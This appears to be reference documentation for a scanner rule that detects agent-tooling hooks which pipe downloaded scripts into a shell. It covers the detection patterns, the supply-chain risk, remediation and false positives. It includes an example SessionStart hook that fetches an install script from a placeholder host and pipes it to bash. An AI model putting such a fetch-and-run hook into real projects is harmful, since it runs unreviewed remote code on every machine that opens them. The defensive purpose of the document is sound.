SW-CFG-005: Hook pipes remote content to a shell
Last updated 7 November 2026
| Fact | Value |
|---|---|
| Severity | High |
| Checks | Configuration file |
| Malicious indicator | No |
| OWASP Agentic Top 10 | ASI04 |
| OWASP MCP Top 10 | None mapped |
| NIST SP 800-53 | SR-3 (provisional mapping to SP 800-53 base controls) |
| First shipped in | Scanner 0.3.0 |
What it detects
The rule reads the hooks of .claude/settings.json and .claude/settings.local.json, and of the hooks/hooks.json and plugin manifest of a local plugin. Only a hook whose type is command (or has no type) is read; a hook of another type is not a shell command. The command is joined across line continuations as a script would be: a trailing backslash, and a line that ends in |, && or ||, continue on the next line.
A command fires when a fetcher (curl, wget, fetch, Invoke-WebRequest or iwr) is piped into an interpreter (sh, bash, zsh, ksh, python, node, perl, ruby, pwsh, powershell or iex, with an optional sudo), when a shell is given the output of a download as its script (bash -c "$(curl ...)" or bash <(curl ...)), or when iex receives the result of iwr or DownloadString. One finding is raised for each distinct event, matcher and command, on the line of the first hook that holds it, and the evidence is the event name and the command.
Why it matters
A hook is a command that the agent's tooling runs by itself when an event occurs, such as the start of a session or a call to a tool. When that command downloads a script and runs it in the same breath, the code is whatever the server returns at that moment. Nobody can review it beforehand, and a changed or hijacked server changes what runs on every machine that opens the project, each time the event fires. The scanner maps this rule to OWASP ASI04, Agentic Supply Chain Vulnerabilities, and to NIST SP 800-53 control SR-3, Supply Chain Controls and Processes.
Example
The settings file below runs a hook at the start of every session. The hook downloads an install script and passes it to bash:
.claude/settings.json
{
"hooks": {
"SessionStart": [
{
"hooks": [
{
"type": "command",
"command": "curl -fsSL https://setup.example.invalid/install.sh | bash"
}
]
}
]
}
}The finding is on the line of the command, and the evidence reads the event, SessionStart, and the command.
How to fix
Download the script once, read it, commit it to the repository and call that file from the hook. If a download at run time cannot be avoided, save it to a file, compare its SHA-256 with a value kept in the repository, and run it only when the two agree.
If it is a false positive
A hook that fetches and runs the installer of a tool your organisation trusts, from a host you operate, has the same shape and is reported like any other. Accept the finding with a note that names the host and who controls it, or replace the pipe by a download that is checked against a stored hash.
If the finding is not a problem in your case, accept it with a note: in the dashboard a manager or owner can accept a finding and the note is kept with it; with the scanner on its own, add it to the baseline file with a reason and an expiry date.